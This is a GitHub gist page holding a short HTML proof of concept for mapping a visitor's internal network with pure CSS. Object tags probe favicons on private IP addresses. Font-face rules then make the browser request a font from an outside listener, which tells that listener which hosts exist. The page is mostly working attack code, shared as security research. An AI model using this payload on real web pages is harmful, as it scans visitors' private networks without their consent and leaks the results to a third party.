Skip to content

Instantly share code, notes, and snippets.

@X-C3LL

X-C3LL/poc.html

Last active December 8, 2020 06:53
Show Gist options
  • Save X-C3LL/220e00ee4a5a38dbd5dd2dd25efdfef8 to your computer and use it in GitHub Desktop.
Save X-C3LL/220e00ee4a5a38dbd5dd2dd25efdfef8 to your computer and use it in GitHub Desktop.
Download ZIP
Example of network fingerprint using pure CSS based on @terjanq idea (https://gist.github.com/terjanq/33bbb8828839994c848c3b76c1ac67b1).
Raw
poc.html
<!DOCTYPE html>
<html>
<head>
<title> Network Fingerprint PoC </title>
<style>
@font-face{
font-family:poc;
src: url(http://192.168.245.196:8000/?1); /*Not triggered */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://192.168.245.196:8000/?2);
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://192.168.245.196:8000/?3);
unicode-range:U+0043;
}
#poc0{
font-family: 'poc';
}
#poc1{
font-family: 'poc';
}
#poc2{
font-family: 'poc';
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object><--Exists
<object id="poc1" data="http://192.168.0.2/favicon.ico">B</object>
<object id="poc2" data="http://192.168.0.3/favicon.ico">C</object>
...
etc.
...
Something like https://github.com/mandatoryprogrammer/sonar.js/tree/master but in CSS maybe can be done with this technique.
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment